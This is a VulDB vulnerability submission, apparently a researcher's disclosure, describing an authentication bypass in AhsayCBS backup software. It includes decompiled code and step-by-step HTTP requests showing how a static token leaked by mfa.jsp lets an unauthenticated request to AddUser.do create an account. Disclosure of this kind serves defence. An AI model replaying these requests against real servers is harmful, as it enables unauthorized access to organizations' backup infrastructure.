제출 #942688: Ahsay Systems Corporation Limited AhsayCBS 10.0.3 Authentication Bypass정보

제목Ahsay Systems Corporation Limited AhsayCBS 10.0.3 Authentication Bypass
설명Armadin identified an authentication bypass vulnerability in the Ahsay Cloud Backup Suite (CBS) application. The application's API allows a request to skip its standard session validation when the request body includes a `Random` parameter matching a static value that the server generates once at startup and never rotates. Armadin found that this static value is itself disclosed without authentication in the JavaScript source returned by `/cbs/mfa/mfa.jsp`. By retrieving this value and supplying it in the `Random` field of an API request, Armadin bypassed authentication entirely and created a new, fully functional user account without providing any valid credentials. Armadin then logged in as the newly created account and confirmed access to the application. This finding represents a complete compromise of the application's API authentication layer, allowing an unauthenticated remote attacker to perform privileged actions against the organization's backup infrastructure. ### Affected Scope - `com/ahsay/obs/api/ApiStructsAction.java` — Contains the Authentication bypass logic - `com/ahsay/cbs/mfa/mfa_jsp.java` — Discloses the `Random` token to unauthenticated users ### Technical Details Armadin first established an authentication baseline by attempting to invoke administrative functionality without a valid authentication session by sending an unauthenticated request to create a new user: ```http POST /obs/api/json/AddUser.do HTTP/1.1 Host: [REDACTED] ...omitted for brevity... { "LoginName":"nick_armadin", "Password":"dpM[REDACTED]", "Email":"[REDACTED]", "Quota":"1"} ``` *Figure 1: Unauthenticated request attempting to create a new user account* ```http HTTP/1.1 200 OK Strict-Transport-Security: max-age=0 ...omitted for brevity... {"Status":"Error","Message":"[Error] Parameter SysUser is null!","ExptType":"java.io.IOException","Info":"Deprecated. As of version x.x.x.x, replaced by v2 API /obs/api/json/2/AddUser., Deprecated. As of version x.x.x.x, replaced by v2 API /obs/api/json/2/AddUser."} ``` *Figure 2: Server response indicating failure to create user due to missing credentials* This response indicated that the request was rejected due to not providing valid credentials. To determine whether the underlying authentication check could be bypassed, Armadin reverse-engineered the Java code of `cbs.jar` and identified the `checkSysPwd()` function, which served as an authentication check for API requests: ```java ...omitted for brevity... protected void checkSysPwd(JSONObject jSONObject, boolean z, HttpServletRequest httpServletRequest) throws DbsException, IOException { String strOptString; String string = null; String string2 = null; boolean z2 = false; try { string = jSONObject.getString("SysUser"); } catch (JSONException e) { z2 = true; } try { string2 = jSONObject.getString("SysPwd"); } catch (JSONException e2) { z2 = true; } if (z2 && (strOptString = jSONObject.optString(RANDOM_PARAM, null)) != null && strOptString.equals(RANDOM_UI_STR)) { return; } checkSysPwd(string, string2, z, httpServletRequest, jSONObject.optString(MFA_OTP_PARAM), true, jSONObject.optBoolean(FROM_SERVLET)); } ...omitted for brevity... ``` *Figure 3: com/ahsay/obs/api/ApiStructsAction.java, showing checkSysPwd()* This method shows that if a request omits the `SysUser`/`SysPwd` credential fields but instead supplies a `Random` field whose value matches a static class-level constant, `RANDOM_UI_STR`, the function returns immediately, bypassing credential validation entirely. ```java public static final String RANDOM_PARAM = "Random"; public static final String RANDOM_UI_STR = cR.encode(R.b(new SecureRandom().nextLong())); ``` *Figure 4: Static RANDOM_UI_STR value generation using SecureRandom* Armadin identified that `RANDOM_UI_STR` is generated once, at class-load time, using `SecureRandom`, meaning the value is static for the lifetime of the running application process rather than being unique per session or per request. Armadin then identified that this value is embedded, unauthenticated, in the JavaScript returned by the MFA device-registration page, `mfa.jsp`: ```java /* JADX INFO: loaded from: cbs.jar:com/ahsay/cbs/mfa/mfa_jsp.class */ public final class mfa_jsp extends HttpJspBase implements JspSourceDependent, JspSourceDirectives, JspSourceImports { ...omitted for brevity... out.print(ApiStructsAction.RANDOM_PARAM); out.write(58); out.write(32); out.write(34); out.print(ApiStructsAction.getRandomUiStr()); ...omitted for brevity... ``` *Figure 5: com/ahsay/cbs/mfa/mfa_jsp.java, embedding the static Random value into the page response* Armadin confirmed this by requesting the page directly, without any authentication, using Burp Suite: ```http GET /cbs/mfa/mfa.jsp HTTP/1.1 Host: [REDACTED] ...omitted for brevity... ``` *Figure 6: Unauthenticated request to retrieve the MFA registration page* ```http HTTP/1.1 200 OK Strict-Transport-Security: max-age=0 Content-Length: 6432 Date: Tue, 30 Jun 2026 20:21:49 GMT ...omitted for brevity... ...omitted for brevity... function renderRegDeviceQRCode(sCanvasQrCodeName, sUsername, sSessionID, sTotp, sSecretKey, sPhoneNumber, sRepair, refreshCallback, callback) { var QrCodeElement = document.getElementById(sCanvasQrCodeName); var data = { Random: "Y8Q[REDACTED]", sessionID: sSessionID, username: sUsername, totp: sTotp, ...omitted for brevity... ``` *Figure 7: Server response leaking the static Random token in JavaScript* Armadin then replayed the `AddUser.do` request, this time including the disclosed `Random` value: ```http POST /obs/api/json/AddUser.do HTTP/1.1 Host: [REDACTED] Content-Length: 141 ...omitted for brevity... {"Random": "Y8Q[REDACTED]", "LoginName":"nick_armadin", "Password":"dpMj[REDACTED]", "Email":"[REDACTED]", "Quota":"1"} ``` *Figure 8: Request to create a new user account using the disclosed Random token* ```http HTTP/1.1 200 OK Content-Length: 105 Date: Tue, 30 Jun 2026 14:50:01 GMT ...omitted for brevity... {"Status":"OK","Info":"Deprecated. As of version x.x.x.x, replaced by v2 API /obs/api/json/2/AddUser."} ``` *Figure 9: Server response confirming successful user creation* The `"Status":"OK"` response confirmed that the account was created without any valid credentials being supplied.
원천⚠️ https://www.ahsay.com/en/support/help-centre/cbs/release-notes/v10.3.2
사용자
 nickc (UID 100056)
제출2026. 08. 21. PM 08:45 (1 월 ago)
모더레이션2026. 10. 03. PM 03:13 (1 month later)
상태수락
VulDB 항목413350 [Ahsay AhsayCBS 까지 10.3.2 API ApiStructsAction.java checkSysPwd Random 약한 인증]
포인트들20

Do you need the next level of professionalism?

Upgrade your account now!